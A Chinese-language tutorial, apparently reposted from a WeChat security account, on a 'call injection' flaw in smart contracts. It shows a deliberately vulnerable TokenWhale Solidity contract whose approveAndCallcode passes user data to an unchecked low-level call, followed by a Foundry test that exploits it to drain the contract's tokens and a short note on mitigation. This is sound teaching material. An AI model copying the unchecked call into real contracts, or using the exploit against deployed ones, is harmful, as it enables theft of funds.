智能合约漏洞入门(7)- 调用注入

admin 2024年6月22日21:48:07评论9 views字数 3521阅读11分44秒阅读模式

名称: 不安全调用漏洞

描述:在TokenWhale合约的approveAndCallcode函数中。该漏洞允许执行任意调用,带有任意数据,导致潜在的安全风险和意外后果。该函数使用低级调用(_spender.call(_extraData))从_spender地址执行代码,而没有对提供的_extraData进行任何验证或检查。这可能导致意外行为、可重入攻击或未经授权的操作。

这个练习是关于对合约的低级调用,其中输入和返回值都没有被检查 如果调用数据是可控的,就很容易引发任意函数执行。

缓解措施:应尽可能避免使用低级的"call"。

参考:https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9

TokenWhale合约:

contract TokenWhale {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleDeploy(address _playerpublic {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool{
        return balanceOf[player] >= 1000000// 1百万
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 valueinternal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 valuepublic {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function approve(address spender, uint256 valuepublic {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 valuepublic {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }

    /* 批准然后调用合约代码*/

    function approveAndCallcode(
        address _spender,
        uint256 _value,
        bytes memory _extraData
    
public 
{
        allowance[msg.sender][_spender] = _value;

        bool success;
        // 易受攻击的调用执行不安全的用户提供的代码
        (success, ) = _spender.call(_extraData);
        console.log("success:", success);
    }
}

如何测试:

forge test --contracts src/test/UnsafeCall.sol-vvvv

// 测试UnsafeCall漏洞的函数
function testUnsafeCall() public {
    // 设置环境
    address alice = vm.addr(1);
    TokenWhaleContract = new TokenWhale();
    TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));

    console.log(
        "TokenWhale余额:",
        TokenWhaleContract.balanceOf(address(TokenWhaleContract))
    );

    // Alice尝试对TokenWhaleContract进行不安全的调用以转移资产
    console.log(
        "Alice尝试对TokenWhaleContract进行不安全的调用以转移资产"
    );

    // 使用vm.prank()函数改变msg.sender
    vm.prank(alice);

    // Alice调用approveAndCallcode函数,使用编码数据表示对transfer函数的调用
    TokenWhaleContract.approveAndCallcode(
        address(TokenWhaleContract),
        0x1337// 不影响漏洞利用
        abi.encodeWithSignature(
            "transfer(address,uint256)",
            address(alice),
            1000
        )
    );

    // 检查漏洞利用是否成功
    assertEq(TokenWhaleContract.balanceOf(address(alice)), 1000);
    console.log("漏洞利用完成");

    // 记录最终余额
    console.log(
        "TokenWhale余额:",
        TokenWhaleContract.balanceOf(address(TokenWhaleContract))
    );
    console.log(
        "Alice余额:",
        TokenWhaleContract.balanceOf(address(alice))
    );
}

// 接收以太的回退函数
receive() external payable {}

红框:成功利用,TokenWhale被清空。

智能合约漏洞入门(7)-  调用注入
exploit image

原文始发于微信公众号(3072):智能合约漏洞入门(7)- 调用注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月22日21:48:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   智能合约漏洞入门(7)- 调用注入https://cn-sec.com/archives/2874433.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息